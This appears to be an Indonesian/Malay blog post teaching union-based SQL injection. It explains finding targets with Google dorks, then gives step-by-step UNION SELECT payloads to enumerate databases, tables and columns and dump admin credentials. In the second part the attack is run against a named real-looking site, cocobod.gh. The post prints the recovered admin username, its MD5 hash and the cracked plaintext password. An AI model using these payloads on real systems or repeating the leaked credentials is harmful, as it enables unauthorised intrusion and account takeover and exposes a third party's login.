Untuk Mencari Inject
Mencari SQLI sangat mudah,semua yang perlu anda lakukan adalah Googling . Hal pertama yang perlu anda lakukan adalah mencari beberapa dorks
PART 1
Pilih salah satu dorks dan tambahkan inurl: sebelum(Jika mereka belum memiliki itu) dan kemudian salin dan sisipkan
ke google. Pilih salah satu site dari google dan chek 1-1.
Sebagai contoh url dari halaman anda mungkin seperti ini
Code: |
http://www.example.com/index.php?id=3 |
untuk memeriksa adanya Bug MySQL tambah tanda “‘” di akhir URL
contoh
Code: |
http://www.example.com/index.php?id=3' |
Mendapatkan Jumlah Column
Langkah pertama yang perlu anda ambil adalah untuk mengetahui jumlah column. Cara termudah untuk melakukannya adalah
menggunakan pernyataan “order by”. Yang harus anda lakukan adalah meletakkan ORDER BY (angka) -
pada akhir url anda. Jadi seharusnya akan keluar seperti ini.
Code: |
http://www.example.com/index.php?id=3 ORDER BY (number)-- |
Menemukan column yang dapat di akses
Setelah kita mengetahui column yang ada di table database, sekarang kita akan mencari informasi & data apa yang boleh diambil dari sana.
Kita melakukannya kita menggunakan fungsi “UNION” “SELECT” dan NOMBOR COLUMN. Kita sisipkan seluruhnya dalam URL, seperti contoh berikut:
Code: |
http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7-- |
Jangan lupa untuk sisipkan tanda “-” sebelum code bermula, jadi sebagai contoh di atas kita sisipkan tanda “-” didepan angka “3“, nah setelah semua dilakukan, maka akan muncul table yang memiliki isi didalamnya. Catatlah nombor column table yang memiliki informasi di dalam database tersebut. Klo lupa, simpan dulu di notepad.
Finding MySQL Database Version
Sebelum kita teruskan, kita perlu ketahui adalah versi dari database.
URL nya adalah sebagai berikut:
Code: |
http://www.example.com/index.php?id=-3+UNION+SELECT+1,2,3,4,5,6,7-- |
Code: |
http://www.example.com/index.php?id=-3+UNION+SELECT+@@version,2,3,4,5,6,7-- |
Hal ini biasanya bekerja pada versi database 5.* keatas.
Finding Database Names
Selanjutkan kita akan inject website untuk menemukan database names. Kita lakukan hal ini dengan mengganti “@@version”
dengan “group_concat(schema_name)” dan juga ditambahkan “+ from+information_schema.schemata–” sesudah nombor column terakhir di table database.
Seperti ini contoh URL:
Code: |
http://www.example.com/index.php?id=-3+UNION+SELECT+group_concat(schema_name),2,3,4,5,6,7+ from+information_schema.schemata-- |
Jadi URL nya akan menjadi seperti ini:
Code: |
http://www.example.com/index.php?id=-3+UNION+SELECT+concat(database()),2,3,4,5,6,7-- |
Menemukan Nama Table
Untuk mengetahui nama table yang digunakan dalam database, anda harus mengganti “concat(database())” dengan group_concat(table_name) dan tambahkan “from information_schema.tables where table_schema=database()” diantara nombor awal dan “–” hapus juga tanda “+” dari “union select“.
Urlnya akan kelihatan seperti berikut:
Code: |
http://www.example.com/index.php?id=-3 union select group_concat(table_name),2,3,4,5,6,7 from information_schema.tables where table_schema=database()-- |
Menemukan Nama Column
Lakukan dengan hanya merubah “table_name” ke “column_name” dan “information_schema.tables” ke “information_schema.columns”.
Url akan tampak seperti ini:
Code: |
http://www.example.com/index.php?id=-3 union select group_concat(column_name),2,3,4,5,6,7 from information_schema.columns where table_schema=database()-- |
Andailah nama column seperti berikut:
admin_username
admin_password
Mengambil Info Database
Sekarang kita sudah mengetahui “ database name, table names, dan column names”, kita boleh gabungkan bersama-sama dan mengeluarkan info yang ada, kita lakukan dengan contoh berikut:
Code: |
http://www.example.com/index.php?id=-3 union select 1,group_concat(Columnname,0x3a,columnname,0x3a),2,3,4,5,6,7 from databasename.tablename-- |
Sebagai contoh:
Code: |
http://www.example.com/index.php?id=-3 union select 1,group_concat(admin_username,0x3a,admin_password,0x3a),2,3,4,5,6,7 from whippit.t_admin-- |
PART 2
Mari kita cuba praktikkan cara diatas!Sebagai contoh kita mendapatkan target berikut:
Code:
http://www.cocobod.gh/news_details.php?id=30Sekarang kita akan check sama ada website tersebut memiliki vulnerability dengan menambahkan tanda ‘ di akhir URL, contohnya seperti berikut:
Code:
http://www.cocobod.gh/news_details.php?id=30'Jika kita jumpa error, maka terdapat vulnerability di website tersebut, sebagai contoh:
Setelah kita mengetahui ada vulnerability, maka langkah selanjutkan adalah kita harus mengetahui berapa jumlah column yang ada di table tersebut.
Camne nak taw??tunggu keluar ayat nie “Unknown Column“.
Check dengan menggunakan command “order by“.
Kita akan mencoba dari 1 hingga la beberape pun..
Dalam target ini hanya terdapat 7 column dalam table yang ada di database,
Contohnya:
Cara untuk test
Code:
http://www.cocobod.gh/news_details.php?id=30 order by 1-- >> no error http://www.cocobod.gh/news_details.php?id=30 order by 2-- >> no error http://www.cocobod.gh/news_details.php?id=30 order by 3-- >> no error http://www.cocobod.gh/news_details.php?id=30 order by 4-- >> no error http://www.cocobod.gh/news_details.php?id=30 order by 5-- >> no error http://www.cocobod.gh/news_details.php?id=30 order by 6-- >> no error http://www.cocobod.gh/news_details.php?id=30 order by 7-- >> no error http://www.cocobod.gh/news_details.php?id=30 order by 8-- >> Unknown columnhttp://www.cocobod.gh/news_details.php?id=30 order by 8– *>> Unknown column
Hal tersebut membuktikan bahawa tidak ada column ke 8 dalam table tersebut, jadi cuma ada 7 column.
Langkah selanjutnya adalah, mencari column yang dapat di akses @ vulnarable!
Kita sudah mengetahui, jumlah column adalah 7, gunakan command “UNION SELECT number,of,columns–” untuk mengetahui column mana yang dapat di akses:
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,6,7--Anda akan dapat output seperti gambar dibawah:
Muncul 6, 2, 3 kan? Column dalam tersebutlah yang bisa anda akses dan anda ambil informasinya.
Langkah selanjutnya, mencari information versi database
SQL Injection berfungsi dengan baik pada versi 5.* ke atas, untuk mendapatkan information database version, kita masukkan saja “@@version”, pada column yang boleh dipakai.
Misalkan column “6″ kita ganti dengan “@@version”
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,@@version,7--
Akan muncul versi database 5.1.39, ini bermaksud database boleh di inject
Mengetahui Database Name
Replace column yang tadi digunakan “6,2,3″ dibagian mana saja, kita gunakan kolom “6″, kita ganti dengan code berikut “group_concat(schema_name)” , dan jangan lupa tambahkan “from information_schema.schemata–” selepas column terakhir.
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(schema_name),7 from information_schema.schemata--
Mengetahui Database Yang Dipakai
Gantikan “group_concat(schema_name)” dengan “concat(database())” seperti contoh berikut:
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,concat(database()),7 from information_schema.schemata--
Selamat, anda telah mengetahui database yang dipakai saat ini adalah “cocobod_gh“.
Mengetahui Nama Table
Gantikan “group_concat(table_name)” dan tambahkan “from information_schema.tables where table_schema=database()–” setelah column terakhir.
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(table_name),7 from information_schema.tables where table_schema=database()--
Mengetahui Nama Column
Untuk mengetahui nama column, kita gunakan query berikut:
group_concat(column_name)
from information_schema.columns where table_schema=database()–
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(column_name),7 from information_schema.columns where table_schema=database()--
Mengambil Informasi Yang Ada Di Dalam Column
Ini adalah step akhir, dimana anda akan mendapatkan informasi mengenai isi dari column yang berada dalam table di database.
Code:
http://www.site.com/news_details.php?id=30 union select 1,2,3,4,5,group_concat(columusername,0x3a,columnpassword),7 from currentdb.tableused--Exploit akan jadi seperti berikut :
Code:
http://www.cocobod.gh/news_details.php?id=30 union select 1,2,3,4,5,group_concat(username,0x3a,password),7 from cocobod_gh.coc_admin--
Dari informasi di atas kita mendapatkan data: “comaster:2c39e3769d300f7e23f8a9e1e21773e7“ ,
Silakan check ke MD5 decrypter untuk mendecrypt password -> http://www.md5decrypter.co.uk/ paste MD5 password yang tadi: “2c39e3769d300f7e23f8a9e1e21773e7“, anda akan dapat result seperti dibawah:
comaster:2c39e3769d300f7e23f8a9e1e21773e7
comaster:cocoadmin4682
username : comaster
password : cocoadmin4682
0 comments:
Post a Comment